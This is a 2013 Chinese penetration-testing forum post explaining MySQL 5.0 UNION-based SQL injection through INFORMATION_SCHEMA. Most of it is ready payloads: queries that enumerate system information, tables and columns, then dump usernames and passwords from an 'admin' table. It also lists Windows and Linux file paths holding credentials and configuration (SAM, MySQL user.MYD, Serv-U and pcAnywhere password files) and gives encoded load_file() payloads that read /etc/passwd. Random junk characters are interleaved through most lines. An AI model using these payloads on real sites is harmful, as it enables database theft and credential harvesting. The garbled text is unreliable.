中国网络渗透测试联盟

标题: mysql5.0注入原理 [打印本页]
作者: admin    时间: 2013-3-7 13:24
标题: mysql5.0注入原理
记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。: t; @/ N3 @9 Q# f
/ x. e/ v9 {2 Z: B0 o& W- J: a
. Z! u  h/ h6 B5 X: s

" u! R0 s7 \2 P3 t$ ?) PMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
; j9 X7 O7 r4 E7 d$ i- S4 i中记录了Mysql中所有
  P) [! X: S, L( W8 `存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说- g% X) X# j  o  q3 {' h2 ^; r
明。( w$ {# _. a$ J8 G
1.得到所有数据库名：9 L( Q" E" t6 D* f- E
|SCHEMATA ->存储数据库名的表
+ _* q3 m* ~# ?4 T/ D|—字段：SCHEMA_NAME ->数据库名称! A: P. @/ F( u) t4 Z
; b: m5 K+ b% h8 G; T
|TABLES ->存储表名
9 \' R$ h$ {, i/ h|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
8 t) Z0 ~& `% E# _" l8 n|—字段：TABLE_NAME ->存储表的表名
3 r8 J4 |* q- N2 U4 _# ]
& P* i7 t+ {2 u0 o|COLUMNS ->存储的字段名表
0 w$ w+ N' `# O2 p+ P|—字段：TABLE_SCHEMA ->该字段所属数据库名  I$ d9 w' b# b7 `
|—字段：TABLE_NAME ->存储所属表的名称
5 Y* s5 s1 K3 ]* ]
5 c& }) r7 W+ I* ], k. b9 y|—字段：COLUMN_NAME ->该字段的名称
# i2 l# i0 n0 M9 G8 e1 u/ y3 ^! B$ T$ ?7 F4 `# k: i, J
#########################################################################) o8 F0 ^5 I* ]/ V0 C/ j
##
$ A& u0 E* A4 b( J( k
/ T0 `# S7 F% U/ O6 ^$ ^0×001 获取系统信息:* k; V4 x& ^/ J4 l, f4 M: _* U3 q
% [' `  k/ f9 m* K1 A( r4 i
union select 1,2,3,4,5,concat9 N+ l* _2 X! l5 A0 a
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user  F' {0 e  W7 @6 {* c8 h. d* a
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
; d! Q7 O5 V. k( `) F
) C) S5 Q# `8 s6 T" {" K7 a/*
: h# T5 @* l0 N; n; U0 K9 l/ Y7 J) [$ g& S) q$ A9 e
@@global.version_compile_os 获取系统版本
8 O7 S- ?. X* x  }. ], V9 [( j7 v. @+ M! ~+ O1 ^: _6 T/ D
@@datadir 数据库路径
; H- r" R$ K2 h, P7 Qdatabase() 当前数据库名称/ h  i2 `5 x" M" h) c/ O8 {
0x3c62723e 换行HEX值# l& ]- J3 d. Z( F
3 A; x9 [' l$ y% @
*/; t  F. W; f2 ?

# {* x* v* z2 o' N7 T######################################################################
3 g0 q, m& E% S6 o+ ?1 r4 ^
6 M! Y5 C2 D% D8 X0×002 获取表名
/ ~5 G" Z4 e% [5 k2 d- W. }& C% B8 n
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from7 s' |6 t4 J8 J
information_schema.tables where table_schema=0x67617264656e /*
, J- t9 U$ z! s6 p' c5 x& t  X5 F% G! Z
/*! \3 d* O/ ^* a8 ~& `/ }$ F8 u) l

: N* A; o! ?$ f' A$ [- k0x67617264656e 为当前数据库名
2 c' Q; H4 Y% H8 j# Y( y0 w. k& Z3 n4 B4 G: G
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
6 r: A! \& J0 X/ ]0 _2 R+ K
! d7 C% e- o" L; ?) b9 Q' S*/# {  |0 _) y# t5 I5 K3 Q- C
& }, E- J. m# ~$ _+ \; Y% j7 K5 d6 a
######################################################################, @! M' \8 O* M
0 z# F! w) l4 f
0×003 获取字段
: b  g6 L) H! o
/ R7 h: L7 P, @* G" v0 f' h  b5 a, Dunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from- C/ e8 \: m( K. \) S9 c
information_schema.columns where table_name=0x61646d696e and2 ]# k5 P9 y# A8 V

4 V: D( o* v+ o; J3 [5 o9 @) a/ h2 K
table_schema=0x67617264656e limit 1 /*
" J, {4 }$ D, P! h7 O0 j  w9 R  \9 T
/*
3 y0 s7 x: K8 C/ r* a0 P7 B# ^
; F5 R+ U' y( x  ~& Pgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
0 a* r( d8 D: [  f2 }6 M) B
* L5 }) f* N) [0x61646d696e ->选择一个表
) T) g6 l6 P1 k- |
( R: R+ u: F3 c8 L0 t! f0x67617264656e ->数据库名
' P$ R* u# o! a; _- r4 Q6 G3 }4 F' }) u
' i' [) B- \' w0 n8 o*/& H* @, d8 D7 P: a; v+ f+ |
6 n3 p  E% q4 ~. Q' d
#####################################################################
% ]) h  s  R/ D: F) K" J! K) ?% S( s& @/ s
0×004 获取数据, ?* W0 X- F( j6 ]6 ]! [% n$ d
2 \7 D0 i+ a5 f4 P! I
union select 1,2,39 G) M4 o6 Z0 l  D/ Y; E
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
' o' n- f) f4 F) T( m" Z' z" p
$ `: O( f/ j$ Ounion select 1,group_concat(id),group_concat(adname),4,5,group_concat, N- u( d! c' g, y' h% B: |5 p
(adpassword),6,7,8 from admin# B# w: W7 x- s4 Z
9 F" h" J. u7 z4 F& `6 G
/*
) T5 T2 e6 {; R% u. Q
1 e( X8 B7 h2 \$ ~( w2 ^0 C0x3c62723e 换行符号HEX编码
( v$ j/ u% ~! B8 O1 X8 U$ }! n  z3 M) J8 E4 T2 a0 z
group_concat 同时获得该字段所有数据
; P0 D% d0 Y& k5 e, E& l* D: h
& C5 P! ~0 Z# R) B0 m( A- u/ I*/
8 p6 s; Z3 M) g  {- D# f2 u- q# a9 a& V" ?, K
. y' v# ?% w! {4 O4 ^

$ q  o+ O4 z2 `- |! Q ' t( {% p/ P, s& {. |5 O9 @
7 q1 c" E$ U3 K9 ^
顺便添加一些mysql注入时非常有用的一些东西
8 i/ B3 P. V* O2 n2 G  t" w1 }* h9 o6 T
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。% z9 A2 Z( X* d0 B) V0 E

4 z8 L$ H, s# h* K5 @1:system_user() 系统用户名
: }- F2 V1 F5 P: e" U( ]! y8 \: C5 v2:user()        用户名/ v1 R. L/ _! p* E1 \/ c
3:current_user()  当前用户名- A5 t/ ?7 l" n
4:session_user()连接数据库的用户名! _2 {" D% B: }& r, ?& M# C' b
5:database()    数据库名
7 F6 e1 w1 A  _1 C3 Q; h1 \6 p' [6:version()     MYSQL数据库版本9 D- }9 ~# u& }7 l, C; M9 z' L
7:load_file()   MYSQL读取本地文件的函数0 x- ]) F% T" o/ E
8@datadir     读取数据库路径4 R9 V4 z' [  y& T
9@basedir    MYSQL 安装路径! _+ T" x0 z) q, {
10@version_compile_os   操作系统  Windows Server 2003,# Y! p+ R& `" _) B, n
收集的一些路径：* g7 F0 J2 |$ c7 Y
WINDOWS下:
( N* G4 J5 D" y& u* d( q9 |: P4 Nc:/boot.ini          //查看系统版本
/ x) `7 l+ @  g8 xc:/windows/php.ini   //php配置信息  B# c0 U% @! J1 b% C6 v
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码  J+ j6 O9 F1 v  G7 B
c:/winnt/php.ini
7 M+ x& c4 k6 Q3 W' z0 l/ ?# X' Vc:/winnt/my.ini
3 n" C" E, b6 p6 ^! l$ d" G. ec:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码& x/ @' X2 I2 Y+ J& K8 Q5 H' c
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
4 G. K4 G( B# g+ L( d. j! [$ Lc:\Program Files\Serv-U\ServUDaemon.ini. I; c1 |; D1 {# w
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
( V; ?- D" @( {c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
" i$ h) ^; Y, t, p* H1 j+ z2 oc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
  b/ w) E3 _9 U" X% N# _c:\Program Files\RhinoSoft.com\ServUDaemon.exe
' t& Z& n3 I) n, z* QC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件7 m2 y( k1 O! J4 E$ v" b* N7 |  W
//存储了pcAnywhere的登陆密码
8 w5 X( I5 P* U( k) m  hc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件+ a- ?/ C, b1 R3 g9 O
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
! j" N  j) L9 X5 |1 ?# q) _1 ~3 c3 G* w/ _4 r

! n) k4 T/ f/ i: Vc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机, x! j( }1 G7 ?5 u3 f
d:\APACHE\Apache2\conf\httpd.conf3 [* Z$ C* x4 j8 A* d7 {/ M
C:\Program Files\mysql\my.ini
- i" Z) a6 c" u; v* ]' r% Vc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
  q6 U7 b: X8 P5 Y: S3 bC:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码4 ]7 K8 [* f4 _( b# s  O) j

+ h- r1 v( e7 J9 KLUNIX/UNIX下:9 J  p9 Z2 _* K% k, T" q' H) N( x
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件, l$ p1 }  J2 {' a7 e
/usr/local/apache2/conf/httpd.conf# @, @3 V: Y8 h4 t3 q  J
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置  e: D/ n+ e# N5 [
/usr/local/app/php5/lib/php.ini //PHP相关设置
: L" d8 \; G4 A2 f2 w1 A) p8 Y/etc/sysconfig/iptables //从中得到防火墙规则策略
5 c8 }6 O$ j- r* V: w/etc/httpd/conf/httpd.conf // apache配置文件- c' E+ E7 H1 {: U
/etc/rsyncd.conf //同步程序配置文件3 O! X) t, R5 U* |+ j5 G5 A
/etc/my.cnf //mysql的配置文件1 z, v( s& W' k( X+ T
/etc/redhat-release //系统版本" T. Y* |. j% y9 o/ [$ d
/etc/issue! a% J! |! `4 l$ D
/etc/issue.net4 v# l' {, v; H) J6 J
/usr/local/app/php5/lib/php.ini //PHP相关设置/ D) y+ X$ s( C2 o/ \
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置) o8 n5 U3 e6 ]) Y. y2 F
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件" S7 P$ N  o! S! l0 a
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看' Q7 e8 U( i0 {( v& P
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上, J8 l6 u' i3 e
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看( V3 a, U, j1 r) O* q  k
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
1 ~; k7 O# L" q! R5 P/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看( ~, O: _2 _2 |
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上, E1 M5 s& Q; R5 S
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
9 ?- w, k. i! ~/etc/sysconfig/iptables 查看防火墙策略# S3 k0 M% u- i9 b* L4 w
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
' [; W, r# a8 m! W' xreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)" E# ?7 ~+ ]5 e
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))1 M3 P" O& T: \0 V( e" v$ H- n
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
) C/ T2 d9 v/ F. P: Z3 Q! b$ r7 |) k; Y% B  Z




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2